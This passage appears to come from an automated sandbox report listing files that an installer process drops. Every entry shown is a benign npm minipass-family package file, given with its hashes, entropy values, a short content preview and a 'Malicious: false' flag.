SHA1:	C54EE32DACCBC0FD273221E9891B359D137D78C5
SHA-256:	56D0DFBD2ACBAFFD7A592EB25130EED4AB12BC1C10844677B2D869D5992C36A9
SHA-512:	D30A0D278D41E253AF5AA9C84A2AA272089285D383185974D1C3A1CC716FF7F5E906C238F188AA3C3F2056CD4D42D9FA494F1334FEA16BA812CDE4B5FEC4228A
Malicious:	false
Preview:	const Minipass = require('minipass').const _flush = Symbol('_flush').const _flushed = Symbol('_flushed').const _flushing = Symbol('_flushing').class Flush extends Minipass {. constructor (opt = {}) {. if (typeof opt === 'function'). opt = { flush: opt }.. super(opt).. // or extend this class and provide a 'flush' method in your subclass. if (typeof opt.flush !== 'function' && typeof this.flush !== 'function'). throw new TypeError('must provide flush function in options').. this[_flush] = opt.flush \|\| this.flush. }.. emit (ev, ...data) {. if ((ev !== 'end' && ev !== 'finish') \|\| this[_flushed]). return super.emit(ev, ...data).. if (this[_flushing]). return.. this[_flushing] = true.. const afterFlush = er => {. this[_flushed] = true. er ? super.emit('error', er) : super.emit('end'). }.. const ret = this[_flush](afterFlush). if (ret && ret.then). ret.then(() => afterFlush(), er => afterFlush(er)). }.}..module.expor

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-flush\node_modules\minipass\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	787
Entropy (8bit):	5.062587829448254
Encrypted:	false
SSDEEP:	24:9qeJsZ7ICCtEmq6s9iOnc4PRnA+KpF3ew:SEC2tuiOnx9AZF3ew
MD5:	78E0C554693F15C5D2E74A90DFEF3816
SHA1:	58823CE936D14F068797501B1174D8EA9E51E9FE
SHA-256:	A5A110EB524BF3217958E405B5E3411277E915A2F5902C330348877000337E53
SHA-512:	B38EBCF2AF28488DBF1D3AA6A40F41A8AF4893AD6CB8629125E41B2D52C6D501283D882F750FC8323517C4EB3953D89FA0F3C8CEBA2AE66A8BF95AE676474F09
Malicious:	false
Preview:	The ISC License..Copyright (c) 2017-2022 npm, Inc., Isaac Z. Schlueter, and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-flush\node_modules\minipass\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	16631
Entropy (8bit):	4.895871223084351
Encrypted:	false
SSDEEP:	384:PImi0vIjUUo+cYQp/PmOp54M/hvFx+2JgLLeALxiWNmdRVy8gybAWv:PImi09rZvUErtAW
MD5:	A8C344AC3D111B646DF0DCAE1F2BC3A3
SHA1:	D8A136B49214E498DA9C5A6E8CB9681B4FDA3149
SHA-256:	DBC5220C4BC8B470DA9C8E561B6A5382CF3FA9DCD97CACE955AC6FD34A27970C
SHA-512:	523749E4D38585249F1E3D7CFB2CB23E7F76764B36D0A628F48FF6B50F0A08C8E8526A1236977DA1BD4AC0FF0BD8D0BA9B834324F2BDEF9BEA9394DD6878C51D
Malicious:	false
Preview:	'use strict'.const proc = typeof process === 'object' && process ? process : {. stdout: null,. stderr: null,.}.const EE = require('events').const Stream = require('stream').const SD = require('string_decoder').StringDecoder..const EOF = Symbol('EOF').const MAYBE_EMIT_END = Symbol('maybeEmitEnd').const EMITTED_END = Symbol('emittedEnd').const EMITTING_END = Symbol('emittingEnd').const EMITTED_ERROR = Symbol('emittedError').const CLOSED = Symbol('closed').const READ = Symbol('read').const FLUSH = Symbol('flush').const FLUSHCHUNK = Symbol('flushChunk').const ENCODING = Symbol('encoding').const DECODER = Symbol('decoder').const FLOWING = Symbol('flowing').const PAUSED = Symbol('paused').const RESUME = Symbol('resume').const BUFFERLENGTH = Symbol('bufferLength').const BUFFERPUSH = Symbol('bufferPush').const BUFFERSHIFT = Symbol('bufferShift').const OBJECTMODE = Symbol('objectMode').const DESTROYED = Symbol('destroyed').const EMITDATA = Symbol('emitData').const EMITEND = Symbol('emitEnd').

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-flush\node_modules\minipass\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1187
Entropy (8bit):	4.6749165874239855
Encrypted:	false
SSDEEP:	24:V11nUWgTgleVlaREAq7P1w1ErvTKN93YG/SX/YPFDWX:VfnUWgTgwl6EAq794Eb+N5Yl/YPFDWX
MD5:	1943A368B7D61CC3792A307EC725C808
SHA1:	FC79B496665E2CDFC4BDAAC9C7D7C4B2F4645F2C
SHA-256:	E99F6B67BA6E5CDA438EFB7A23DD399EE5C2070AF69CE77720D95DE5FB42921E
SHA-512:	7C05F03F5D3DB01798C56C50D21628FC677097630AACF92E9EA47E70FF872D0E4E40217C1C2D5E81FC833CCF5AFE9697F8F20A4772459B396AA5C85263289223
Malicious:	false
Preview:	{. "name": "minipass",. "version": "3.3.6",. "description": "minimal implementation of a PassThrough stream",. "main": "index.js",. "types": "index.d.ts",. "dependencies": {. "yallist": "^4.0.0". },. "devDependencies": {. "@types/node": "^17.0.41",. "end-of-stream": "^1.4.0",. "prettier": "^2.6.2",. "tap": "^16.2.0",. "through2": "^2.0.3",. "ts-node": "^10.8.1",. "typescript": "^4.7.3". },. "scripts": {. "test": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --follow-tags". },. "repository": {. "type": "git",. "url": "git+https://github.com/isaacs/minipass.git". },. "keywords": [. "passthrough",. "stream". ],. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)",. "license": "ISC",. "files": [. "index.d.ts",. "index.js". ],. "tap": {. "check-coverage": true. },. "engines": {. "node": ">=8". },. "prettier": {. "semi": false,. "printWidth

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-flush\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	799
Entropy (8bit):	4.614997768029399
Encrypted:	false
SSDEEP:	12:qr18EJDgXu6yy4V/PAP1U2M1bCglZgpfOC0JwmRk/GC+6a2bmWWOjw8zKuPx:21XJsXByyUPAP1w1hPymvoU8eex
MD5:	BFFF449B26AEFD0CF4CD1661390E92D0
SHA1:	C89612A2A9C68141B8271BBC94BCC88067C29790
SHA-256:	822C46377BE9B8A54B3565210B03F874F65F28C88CCA59168368FD11842219CD
SHA-512:	F5C1997732B07AB6BDE67D1689931E5554E4235D0A5BF54A084F6FDDDE2D39068B981BC5CB870FF8F959A2188E1282F0F508196836E02841AD372DA1E86815C7
Malicious:	false
Preview:	{. "name": "minipass-flush",. "version": "1.0.5",. "description": "A Minipass stream that calls a flush function before emitting 'end'",. "author": "Isaac Z. Schlueter <i@izs.me> (https://izs.me)",. "license": "ISC",. "scripts": {. "test": "tap",. "snap": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --follow-tags". },. "tap": {. "check-coverage": true. },. "devDependencies": {. "tap": "^14.6.9". },. "dependencies": {. "minipass": "^3.0.0". },. "files": [. "index.js". ],. "main": "index.js",. "repository": {. "type": "git",. "url": "git+https://github.com/isaacs/minipass-flush.git". },. "keywords": [. "minipass",. "flush",. "stream". ],. "engines": {. "node": ">= 8". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-json-stream\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	5.13179879120193
Encrypted:	false
SSDEEP:	24:BZcbIrRONJHLH0cPP3gtkHw1hj9QHOsUv4eOk4qjm3oqMSF6WWoYxw:/cbItONJbbvE/5QHOs5ejm3oEF6WzYxw
MD5:	E4CF79B8D009386E2356B9E4DB67C4CB
SHA1:	0CC717C438DF46CE5B953B6FC6BD4296251D34EB
SHA-256:	E7A7476EDAF198EEF0D0507325D463CD49116D4BAF7EE9926958A83F96B8E476
SHA-512:	803ACDECA4C343E073280A2806A3F7A77AA1C812F88D4DCA0BDD0D32AB80FC07EE2DF6D492D84F93F7F3750F696B434FC61448940EFC1DAE6D8413DFBF6C353D
Malicious:	false
Preview:	The MIT License..Copyright (c) Isaac Z. Schlueter and Contributors.Copyright (c) 2011 Dominic Tarr..Permission is hereby granted, free of charge, to any person obtaining a.copy of this software and associated documentation files (the "Software"),.to deal in the Software without restriction, including without limitation.the rights to use, copy, modify, merge, publish, distribute, sublicense,.and/or sell copies of the Software, and to permit persons to whom the.Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL.THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRAC

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-json-stream\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6048
Entropy (8bit):	4.613716221733495
Encrypted:	false
SSDEEP:	96:hyU4fUOKqtRSVSh/O+f8RwO5uZJBTWcx+g2BvjAauZyaLVZoGk+bt50vggm5vXiO:wU4Xn9O+f8RwO45TWaTIaxXk+bt5BP5r
MD5:	ECF182C709147F4E914114AD6A58F09B
SHA1:	D0966F8CCED07A2BB67F40CC4B6373ABE839C043
SHA-256:	A4A62B14D33595333AF65A69D73250BE4DE37EB47A06E3628510597E940A5D95
SHA-512:	19B5EAE07EA256B2FAFA3229612A92BC16B3E42D470F86915789B18C6A2593EE726AD0F3388AA9F4AF88CED4B498E003668EB68323C47DB3479BECEABF22655D
Malicious:	false
Preview:	// put javascript in here.'use strict'..const Parser = require('jsonparse').const Minipass = require('minipass')..class JSONStreamError extends Error {. constructor (err, caller) {. super(err.message). Error.captureStackTrace(this, caller \|\| this.constructor). }. get name () {. return 'JSONStreamError'. }. set name (n) {}.}..const check = (x, y) =>. typeof x === 'string' ? String(y) === x. : x && typeof x.test === 'function' ? x.test(y). : typeof x === 'boolean' \|\| typeof x === 'object' ? x. : typeof x === 'function' ? x(y). : false..const _parser = Symbol('_parser').const _onValue = Symbol('_onValue').const _onTokenOriginal = Symbol('_onTokenOriginal').const _onToken = Symbol('_onToken').const _onError = Symbol('_onError').const _count = Symbol('_count').const _path = Symbol('_path').const _map = Symbol('_map').const _root = Symbol('_root').const _header = Symbol('_header').const _footer = Symbol('_footer').const _setHeaderFooter = Symbol('_setHeaderFooter').const _

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-json-stream\node_modules\minipass\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	787
Entropy (8bit):	5.062587829448254
Encrypted:	false
SSDEEP:	24:9qeJsZ7ICCtEmq6s9iOnc4PRnA+KpF3ew:SEC2tuiOnx9AZF3ew
MD5:	78E0C554693F15C5D2E74A90DFEF3816
SHA1:	58823CE936D14F068797501B1174D8EA9E51E9FE
SHA-256:	A5A110EB524BF3217958E405B5E3411277E915A2F5902C330348877000337E53
SHA-512:	B38EBCF2AF28488DBF1D3AA6A40F41A8AF4893AD6CB8629125E41B2D52C6D501283D882F750FC8323517C4EB3953D89FA0F3C8CEBA2AE66A8BF95AE676474F09
Malicious:	false
Preview:	The ISC License..Copyright (c) 2017-2022 npm, Inc., Isaac Z. Schlueter, and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-json-stream\node_modules\minipass\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	16631
Entropy (8bit):	4.895871223084351
Encrypted:	false
SSDEEP:	384:PImi0vIjUUo+cYQp/PmOp54M/hvFx+2JgLLeALxiWNmdRVy8gybAWv:PImi09rZvUErtAW
MD5:	A8C344AC3D111B646DF0DCAE1F2BC3A3
SHA1:	D8A136B49214E498DA9C5A6E8CB9681B4FDA3149
SHA-256:	DBC5220C4BC8B470DA9C8E561B6A5382CF3FA9DCD97CACE955AC6FD34A27970C
SHA-512:	523749E4D38585249F1E3D7CFB2CB23E7F76764B36D0A628F48FF6B50F0A08C8E8526A1236977DA1BD4AC0FF0BD8D0BA9B834324F2BDEF9BEA9394DD6878C51D
Malicious:	false
Preview:	'use strict'.const proc = typeof process === 'object' && process ? process : {. stdout: null,. stderr: null,.}.const EE = require('events').const Stream = require('stream').const SD = require('string_decoder').StringDecoder..const EOF = Symbol('EOF').const MAYBE_EMIT_END = Symbol('maybeEmitEnd').const EMITTED_END = Symbol('emittedEnd').const EMITTING_END = Symbol('emittingEnd').const EMITTED_ERROR = Symbol('emittedError').const CLOSED = Symbol('closed').const READ = Symbol('read').const FLUSH = Symbol('flush').const FLUSHCHUNK = Symbol('flushChunk').const ENCODING = Symbol('encoding').const DECODER = Symbol('decoder').const FLOWING = Symbol('flowing').const PAUSED = Symbol('paused').const RESUME = Symbol('resume').const BUFFERLENGTH = Symbol('bufferLength').const BUFFERPUSH = Symbol('bufferPush').const BUFFERSHIFT = Symbol('bufferShift').const OBJECTMODE = Symbol('objectMode').const DESTROYED = Symbol('destroyed').const EMITDATA = Symbol('emitData').const EMITEND = Symbol('emitEnd').

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-json-stream\node_modules\minipass\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1187
Entropy (8bit):	4.6749165874239855
Encrypted:	false
SSDEEP:	24:V11nUWgTgleVlaREAq7P1w1ErvTKN93YG/SX/YPFDWX:VfnUWgTgwl6EAq794Eb+N5Yl/YPFDWX
MD5:	1943A368B7D61CC3792A307EC725C808
SHA1:	FC79B496665E2CDFC4BDAAC9C7D7C4B2F4645F2C
SHA-256:	E99F6B67BA6E5CDA438EFB7A23DD399EE5C2070AF69CE77720D95DE5FB42921E
SHA-512:	7C05F03F5D3DB01798C56C50D21628FC677097630AACF92E9EA47E70FF872D0E4E40217C1C2D5E81FC833CCF5AFE9697F8F20A4772459B396AA5C85263289223
Malicious:	false
Preview:	{. "name": "minipass",. "version": "3.3.6",. "description": "minimal implementation of a PassThrough stream",. "main": "index.js",. "types": "index.d.ts",. "dependencies": {. "yallist": "^4.0.0". },. "devDependencies": {. "@types/node": "^17.0.41",. "end-of-stream": "^1.4.0",. "prettier": "^2.6.2",. "tap": "^16.2.0",. "through2": "^2.0.3",. "ts-node": "^10.8.1",. "typescript": "^4.7.3". },. "scripts": {. "test": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --follow-tags". },. "repository": {. "type": "git",. "url": "git+https://github.com/isaacs/minipass.git". },. "keywords": [. "passthrough",. "stream". ],. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)",. "license": "ISC",. "files": [. "index.d.ts",. "index.js". ],. "tap": {. "check-coverage": true. },. "engines": {. "node": ">=8". },. "prettier": {. "semi": false,. "printWidth

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-json-stream\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	4.658253484888306
Encrypted:	false
SSDEEP:	12:7n18uoW2GqyEV/PAP1U2M1bCglZgpfOC0JweGaJmRObmW4wuOjW+8pw9k/GCx:7n1lZ2/ywPAP1w1hPmeNmrsB58G90
MD5:	8AF1421EE9144006E68A6E0D2416A34C
SHA1:	C8F7BEDA672238B058D197EBF254CAA9FCA12A8B
SHA-256:	884C5799BD4158B7147F51CA4318D00D6265BBECA19D64B519F178CAADDDB26F
SHA-512:	F7ED1BED6D749139EC94686CFB43C0FC5A8AB8EFCFA1ECDD19D342A65FADD7763A88A7D2279C2F08B5603D5342574D5D46EFA1FB8D797E3E40AC0C052D60622F
Malicious:	false
Preview:	{. "name": "minipass-json-stream",. "version": "1.0.1",. "description": "Like JSONStream, but using Minipass streams",. "author": "Isaac Z. Schlueter <i@izs.me> (https://izs.me)",. "license": "MIT",. "scripts": {. "test": "tap",. "snap": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --follow-tags". },. "tap": {. "check-coverage": true. },. "devDependencies": {. "JSONStream": "^1.3.5",. "tap": "^14.6.9". },. "dependencies": {. "jsonparse": "^1.3.1",. "minipass": "^3.0.0". },. "repository": {. "type": "git",. "url": "git+https://github.com/npm/minipass-json-stream.git". },. "keywords": [. "stream",. "json",. "parse",. "minipass",. "JSONStream". ],. "files": [. "index.js". ].}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-pipeline\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-pipeline\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3412
Entropy (8bit):	4.7069023320073375
Encrypted:	false
SSDEEP:	48:ZGbrvu479ZL6h3SeqPfuiiuTj9GRo4cnQ4IQt6hDDJN6d0rkuuOzCv3x/8t+83J:kP1ACeqxGC4cnQ4IQtsDJ/rkuJed83J
MD5:	5E8649B943EF1575403FB9DC48654040
SHA1:	1BBA1CA8D69C95E94B20BA1F85E9752ECFE2AC59
SHA-256:	3DEADCD27F94BA4EBFF5AFFCAAAA5241EF441444E9169D6C37AC069C6B008CF1
SHA-512:	51904CD8CB4D8235FF536BC8B83D66AA15F6D40940C15F03284834EE9C9B5E4707B02524191412378ECCC2ADB632711D70828C96FFB215683465B742835FCC62
Malicious:	false
Preview:	const Minipass = require('minipass').const EE = require('events').const isStream = s => s && s instanceof EE && (. typeof s.pipe === 'function' \|\| // readable. (typeof s.write === 'function' && typeof s.end === 'function') // writable.)..const _head = Symbol('_head').const _tail = Symbol('_tail').const _linkStreams = Symbol('_linkStreams').const _setHead = Symbol('_setHead').const _setTail = Symbol('_setTail').const _onError = Symbol('_onError').const _onData = Symbol('_onData').const _onEnd = Symbol('_onEnd').const _onDrain = Symbol('_onDrain').const _streams = Symbol('_streams').class Pipeline extends Minipass {. constructor (opts, ...streams) {. if (isStream(opts)) {. streams.unshift(opts). opts = {}. }.. super(opts). this[_streams] = []. if (streams.length). this.push(...streams). }.. [_linkStreams] (streams) {. // reduce takes (left,right), and we return right to make it the. // new left value.. return streams.reduce((src, dest) => {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-pipeline\node_modules\minipass\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	787
Entropy (8bit):	5.062587829448254
Encrypted:	false
SSDEEP:	24:9qeJsZ7ICCtEmq6s9iOnc4PRnA+KpF3ew:SEC2tuiOnx9AZF3ew
MD5:	78E0C554693F15C5D2E74A90DFEF3816
SHA1:	58823CE936D14F068797501B1174D8EA9E51E9FE
SHA-256:	A5A110EB524BF3217958E405B5E3411277E915A2F5902C330348877000337E53
SHA-512:	B38EBCF2AF28488DBF1D3AA6A40F41A8AF4893AD6CB8629125E41B2D52C6D501283D882F750FC8323517C4EB3953D89FA0F3C8CEBA2AE66A8BF95AE676474F09
Malicious:	false
Preview:	The ISC License..Copyright (c) 2017-2022 npm, Inc., Isaac Z. Schlueter, and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-pipeline\node_modules\minipass\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	16631
Entropy (8bit):	4.895871223084351
Encrypted:	false
SSDEEP:	384:PImi0vIjUUo+cYQp/PmOp54M/hvFx+2JgLLeALxiWNmdRVy8gybAWv:PImi09rZvUErtAW
MD5:	A8C344AC3D111B646DF0DCAE1F2BC3A3
SHA1:	D8A136B49214E498DA9C5A6E8CB9681B4FDA3149
SHA-256:	DBC5220C4BC8B470DA9C8E561B6A5382CF3FA9DCD97CACE955AC6FD34A27970C
SHA-512:	523749E4D38585249F1E3D7CFB2CB23E7F76764B36D0A628F48FF6B50F0A08C8E8526A1236977DA1BD4AC0FF0BD8D0BA9B834324F2BDEF9BEA9394DD6878C51D
Malicious:	false
Preview:	'use strict'.const proc = typeof process === 'object' && process ? process : {. stdout: null,. stderr: null,.}.const EE = require('events').const Stream = require('stream').const SD = require('string_decoder').StringDecoder..const EOF = Symbol('EOF').const MAYBE_EMIT_END = Symbol('maybeEmitEnd').const EMITTED_END = Symbol('emittedEnd').const EMITTING_END = Symbol('emittingEnd').const EMITTED_ERROR = Symbol('emittedError').const CLOSED = Symbol('closed').const READ = Symbol('read').const FLUSH = Symbol('flush').const FLUSHCHUNK = Symbol('flushChunk').const ENCODING = Symbol('encoding').const DECODER = Symbol('decoder').const FLOWING = Symbol('flowing').const PAUSED = Symbol('paused').const RESUME = Symbol('resume').const BUFFERLENGTH = Symbol('bufferLength').const BUFFERPUSH = Symbol('bufferPush').const BUFFERSHIFT = Symbol('bufferShift').const OBJECTMODE = Symbol('objectMode').const DESTROYED = Symbol('destroyed').const EMITDATA = Symbol('emitData').const EMITEND = Symbol('emitEnd').

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-pipeline\node_modules\minipass\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1187
Entropy (8bit):	4.6749165874239855
Encrypted:	false
SSDEEP:	24:V11nUWgTgleVlaREAq7P1w1ErvTKN93YG/SX/YPFDWX:VfnUWgTgwl6EAq794Eb+N5Yl/YPFDWX
MD5:	1943A368B7D61CC3792A307EC725C808
SHA1:	FC79B496665E2CDFC4BDAAC9C7D7C4B2F4645F2C
SHA-256:	E99F6B67BA6E5CDA438EFB7A23DD399EE5C2070AF69CE77720D95DE5FB42921E
SHA-512:	7C05F03F5D3DB01798C56C50D21628FC677097630AACF92E9EA47E70FF872D0E4E40217C1C2D5E81FC833CCF5AFE9697F8F20A4772459B396AA5C85263289223
Malicious:	false
Preview:	{. "name": "minipass",. "version": "3.3.6",. "description": "minimal implementation of a PassThrough stream",. "main": "index.js",. "types": "index.d.ts",. "dependencies": {. "yallist": "^4.0.0". },. "devDependencies": {. "@types/node": "^17.0.41",. "end-of-stream": "^1.4.0",. "prettier": "^2.6.2",. "tap": "^16.2.0",. "through2": "^2.0.3",. "ts-node": "^10.8.1",. "typescript": "^4.7.3". },. "scripts": {. "test": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --follow-tags". },. "repository": {. "type": "git",. "url": "git+https://github.com/isaacs/minipass.git". },. "keywords": [. "passthrough",. "stream". ],. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)",. "license": "ISC",. "files": [. "index.d.ts",. "index.js". ],. "tap": {. "check-coverage": true. },. "engines": {. "node": ">=8". },. "prettier": {. "semi": false,. "printWidth

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-pipeline\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	588
Entropy (8bit):	4.553209880178634
Encrypted:	false
SSDEEP:	12:Xen18z02tiBtyy4V/PAP1U2M1bCglZgpfOC0JwmRk/GCjPL:Xen18z0vtyyUPAP1w1hPymkL
MD5:	C3249906DED53EA7C8B05FA9BD0C2DE5
SHA1:	E30C58465801DEACEB4B81898E531C75679563B1
SHA-256:	C20F059CA6012AF5A3D255948C7AB1FCCC06AD1D0019C669B08BA251CD4B281D
SHA-512:	186A2CE0A2557FFE473917A3C4177667889D690EE297520792B40E9FADF00F85AFC2B6A630603789CC8472B344F9A625A59FA1095C5D5E5C07F3076DC37D8B8F
Malicious:	false
Preview:	{. "name": "minipass-pipeline",. "version": "1.2.4",. "description": "create a pipeline of streams using Minipass",. "author": "Isaac Z. Schlueter <i@izs.me> (https://izs.me)",. "license": "ISC",. "scripts": {. "test": "tap",. "snap": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --follow-tags". },. "tap": {. "check-coverage": true. },. "devDependencies": {. "tap": "^14.6.9". },. "dependencies": {. "minipass": "^3.0.0". },. "files": [. "index.js". ],. "engines": {. "node": ">=8". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\minipass-sized\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
